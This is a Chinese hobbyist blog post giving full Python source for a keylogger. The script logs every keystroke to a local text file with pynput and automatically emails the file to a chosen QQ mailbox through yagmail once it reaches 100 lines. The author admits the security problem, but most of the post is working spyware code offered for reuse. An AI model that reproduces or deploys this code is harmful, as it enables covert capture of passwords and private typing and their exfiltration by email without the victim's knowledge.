Python键盘监视与自动发QQ邮箱

最近有一个有趣的想法,利用pynput监控键盘输入并写入文本文件,再利用yagmail将该文件发送到指定的邮箱,显然这是有安全漏洞的(吹灯拔蜡),下午在图书馆想着把它实现出来,实在是水平有限,预期与理想是有很大差别。
# 1.实现监控键盘的输入

# 监控键盘
from pynput.keyboard import Listener

filename = 'D:\\key.txt'


# 按下键盘
def on_press(key):
    string1 = str(key).replace("'", '')
    if string1 == 'Key.backspace':
        print('del')
        with open(filename, 'a+') as f:
            f.write('del' + '\n')


# 松开键盘
def on_release(key):
    flag = str(key).replace("'", "")
    with open(filename, 'a+') as f:
        f.write(flag + '\n')
        send()


with Listener(on_press=on_press, on_release=on_release) as Listener:
    Listener.join()


这只能达到输入一次记录一次的效果
Python键盘监视与自动发QQ邮箱_第1张图片

#2.将该监视文本文件发送到指定的邮箱
不知道如何获取QQ邮箱授权码的点这里

import yagmail

yag = yagmail.SMTP(user='此处填你的QQ邮箱', password='此处填授权码', host='smtp.qq.com')
# 正文内容
contents = ['zxz!']
# 附件
attachments = ['D:\\key.txt', 'D:\\future.jpg']
# 标题
subject = 'hello, boy!'

yag.send(to='要发送到的QQ邮箱', subject=subject, contents=contents,
         attachments=attachments)

#3.合成

# 监控键盘
from pynput.keyboard import Listener
import yagmail

filename = 'D:\\key.txt'
def send():
    yag = yagmail.SMTP(user='此处填你的QQ邮箱', password='此处填授权码', host='smtp.qq.com')
    # 正文内容
    contents = ['zxz!']
    # 附件
    attachments = [filename]
    # 标题
    subject = 'hello, boy!'
	# 记事本有100行就发送邮件
    with open(filename, 'r') as f:
        ans = len(f.readlines())
        f.flush()
        if ans == 100:
            yag.send(to='要发送到的QQ邮箱', subject=subject, contents=contents,
                     attachments=attachments)


# 按下键盘
def on_press(key):
    string1 = str(key).replace("'", '')
    if string1 == 'Key.backspace':
        with open(filename, 'a+') as f:
            f.write('del' + '\n')


# 松开键盘
def on_release(key):
    flag = str(key).replace("'", "")
    with open(filename, 'a+') as f:
        f.write(flag + '\n')
        send()


with Listener(on_press=on_press, on_release=on_release) as Listener:
    Listener.join()

Python键盘监视与自动发QQ邮箱_第2张图片

你可能感兴趣的:(Python,python)